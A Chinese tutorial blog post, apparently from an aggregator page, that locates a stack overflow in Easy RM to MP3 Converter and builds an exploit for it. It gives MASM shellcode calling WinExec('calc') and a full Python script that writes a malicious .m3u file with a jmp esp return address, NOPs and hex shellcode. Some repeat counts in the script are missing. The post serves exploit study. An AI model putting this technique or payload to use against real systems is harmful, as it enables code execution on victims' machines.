本文主要是Easy RM to MP3 Converter(MFC++编写)栈溢出的定位及windows下shellcode编写的一些心得。

  用到的工具及漏洞程序下载地址https://github.com/5N1p3R0010/Easy-RM-to-MP3-Converter

  首先,在填充字符为10000和20000时,异常被捕捉到

在填充字符为30000时,程序崩溃

  查看程序使用MFC++编写,所以这里我们用静态分析的方法定位漏洞(用污点分析的方法应该很容易动态定位这个漏洞,但菜鸡我并不会)

  首先把程序拖入IDBG,查找字符串引用。因为程序是在读取文件的时候崩溃的,所以找到click "Load"字符串,跟进即为load的处理函数

  在IDA里查找这个字符串(4465F8)的交叉引用,可以看到第二个是他的处理函数

  跟进函数发现sub_41E2B0在进行拷贝的时候没有检测长度

定位姿势更新(PS:事实证明,晚上陪妹子聊天到很晚是会失眠的,然后第二天就没什么精神=W=):

这次用消息断点的方法动态定位漏洞位置

首先我们用IMMDBG载入程序,然后F9运行

此时我们先下一个消息断点bp TranslateMessage MSG==WM_LBUTTONUP,然后单击LOAD。这个断点的意思是当处理消息为WM_LBUTTONUP的时候断在TranslateMessage函数起点,WM_LBUTTONUP这个消息是按下按键。进行消息处理时先GetMessage获取消息,然后TranslateMessage将windows键盘消息转换成ASCII放在消息队列,最后DispatchMessage将消息发送到对应窗口过程进行处理。

然后一直F8直到进入DispatchMessage函数

然后用IDA载入在同样的位置反汇编得到LOAD的处理函数,然后找到LOAD文件内容的处理函数

跟进后续处理结果就跟上一个方法一样了。

  然后定位一下需要覆盖的栈内容长度

  因为程序是在覆盖20000到30000之间崩溃的,所以用二分法构造一个payload='\x41'*25000+pattern5000,其中pattern5000用pattern.py生成便于计算偏移量。这样如果崩溃时的eip=41414141,则继续构造payload='\x41'*20000+pattern5000计算偏移;否则直接计算偏移即可。

在xp_en_sp2上得到的eip及偏移(这个值经我测试在不同系统上是不同的)

所以这里我们构造一个payload='\x41'*26076+addr_of_jmp_esp+nop+shellcode

  关于shellcode,在exploit-db上找了几个shellcode都不能成功运行,所以最后决定自己编写

.
.model flat,stdcall
option casemap:none include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
includelib C:\masm32\lib\user32.lib
include C:\masm32\include\kernel32.inc
includelib C:\masm32\lib\kernel32.lib .code
start:
;WinExec("calc",)
xor eax,eax
push eax
mov eax,6578652Eh
push eax
mov eax,636c6163h
push eax
mov eax,esp
push
push eax
mov eax,77E6E695h;kernel32.winexec(),需要调试确定
call eax end start

关于向栈内push内容,可以手动hexeditor把要压入的内容逆序,也可以用分享的一个perl脚本pushString.pl来确定

(这里忽略第一行的空字节压栈)

读取编译好的字节码也可以用分享的perl脚本readbin.pl确定

这里可以对照OD确定机器码的起始位置。

完整exp如下

f=open('pwn.m3u','w')
exp='\x41'*
exp+='\xed\x1e\x94\x7c'#addr_of_jmp_esp
exp+='\x90'*
exp+="\x33\xc0\x50\xb8\x2e\x65\x78\x65\x50\xb8\x63\x61\x6c\x63\x50\x8b\xc4\x6a\x05\x50\xb8\x4d\x11\x86\x7c\xff\xd0\x33\xc0\x50\xb8\x87\x2a\xe3\x77\xff\xd0\x33\xc0\x50\xb8\x87\x2a\xe3\x77\xff\xd0\x00"
f.write(exp)
f.close()

这里nop的数量需要根据调试确定,填充nop的原因跟函数的返回值有关。nop数量的确定可以用windbg附加程序,在jmp esp的地址下断点。

在断点处栈回溯(不添加nop时),发现shellcode并没有被完全执行

继续查看栈的内容发现addr_of_jmp_esp和jmp esp执行时有四字节的内容没有被执行,所以填充4字节的nop

填充4字节nop后,pwned

PS:在利用前需要注意的一点是需要把calc.exe添加系统环境变量或者把calc.exe添加到漏洞程序目录下,这跟winexec执行时加载的过程有关https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec

Easy RM to MP3 Converter栈溢出定位及漏洞利用的更多相关文章

  1. 栈溢出漏洞利用流程——以syncbrs为例

    0x1 缓冲区溢出漏洞攻击简介 缓冲区溢出攻击是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序的堆栈,使程序转而执行其他指令,以达到攻击 ...

  2. 20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用

    20155306 白皎 0day漏洞--漏洞利用原理之栈溢出利用 一.系统栈的工作原理 1.1内存的用途 根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行.但是不管什么样的操作系统.什么样 ...

  3. Android内核漏洞利用技术实战:环境搭建&栈溢出实战

    前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是 ...

  4. Android栈溢出漏洞利用练习

    在Github上看到一个Linux系统上的栈溢出漏洞利用练习项目: easy-linux-pwn.在原项目基础上,我稍微做了一些改动,将这个项目移植到了Android 9.0系统上: easy-and ...

  5. 经典栈溢出之MS060-040漏洞分析

    找了好久才找到Win 2000 NetApi32.dll样本,下面我对这个经典栈溢出进行一下分析,使用IDA打开NetApi32.dll,问题函数:NetpwPathCanonucalize.实验环境 ...

  6. CVE-2017-11882:Microsoft office 公式编辑器 font name 字段栈溢出通杀漏洞调试分析

    \x01 漏洞简介 在 2017 年 11 月微软的例行系统补丁发布中,修复了一个 Office 远程代码执行漏洞(缓冲区溢出),编号为 CVE-2017-11882,又称为 "噩梦公式&q ...

  7. Stack-based buffer overflow in acdb audio driver (CVE-2013-2597)

    /* 本文章由 莫灰灰 编写,转载请注明出处. 作者:莫灰灰    邮箱: minzhenfei@163.com */ 1. 漏洞描写叙述 音频驱动acdb提供了一个ioctl的系统接口让应用层调用, ...

  8. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  9. NSCTF2015 逆向第五题分析

    这道题目我没有写出Exploit,因为编码时候里面几个细节处理出错.但对程序的逆向分析已完成,这里就学习一下别人写Exploit的思路.主要参考:绿盟科技网络攻防赛资料下载 0x01 题目要求 题目要 ...

随机推荐

  1. VUE中 style scoped 修改原有样式

    作用域CSS 当<style>标记具有该scoped属性时,其CSS将仅应用于当前组件的元素.这类似于Shadow DOM中的样式封装.它有一些警告,但不需要任何polyfill.通过使用 ...

  2. Python Revisited Day 05(模块)

    目录 5.1 模块与包 5.1.1 包 5.2 Python 标准库概览 5.2.1 字符串处理 io.StringIO 类 5.2.3 命令行设计 5.2.4 数学与数字 5.2.5 时间与日期 5 ...

  3. C#后台发布

    测试环境:... 生产环境:发布--文件系统--Release--本地文件--成功copy服务器上:(第一次发布vue项目前后端copy顺序,避免一些bug)

  4. 简单的JQuery完美拖拽

    首先导入jq库,最好是1.0版本的.调用函数时,传入要拖拽元素的id值. function drag(sel){ $div = $("#"+sel); $div.mousedown ...

  5. Ubuntu 系统安装详解 19.04最新版本

    Ubuntu 19.04版本系统安装详解 1 .镜像的下载 推荐 阿里云镜像下载 2.安装 1.1.新建虚拟机 注意硬件的兼容性问题 当前只有5.x可以用,其他兼容各位可以尝试下,我也都试过,但只有5 ...

  6. [转帖]如何重置CentOS/RHEL 7中遗忘的根用户帐户密码

    如何重置CentOS/RHEL 7中遗忘的根用户帐户密码 https://www.cnblogs.com/swordxia/p/4389466.html 作者的blog质量很高呢 没看完 但是感觉 很 ...

  7. idea打开项目,没有项目文件,文件报红

    删除项目文件夹中的.idea文件,重启idea,再执行如下操作.

  8. git 的简单实用

    一. 安装 Git(git_for_windows.xp510.com.rar) 二. 使用 a) 进入到 git bash(命令行工具) b) 初始化user.name,user.email $ g ...

  9. 省市区JSON

    行政编码 ViewBag.CssLinks = ""; 行政编码 中国和韩国行政编码选择.数据来自json文件,但在前端通过json对象调用. 注意本地方式,是将json文件作为对 ...

  10. OSU! on tree

    dsu on tree 好吧,这个毒瘤...... 树剖和启发式合并的杂合体. 用于解决静态子树问题,复杂度O(nlogn * insert时间) 因为dsu是并查集的意思所以算法名字大概就是什么树上 ...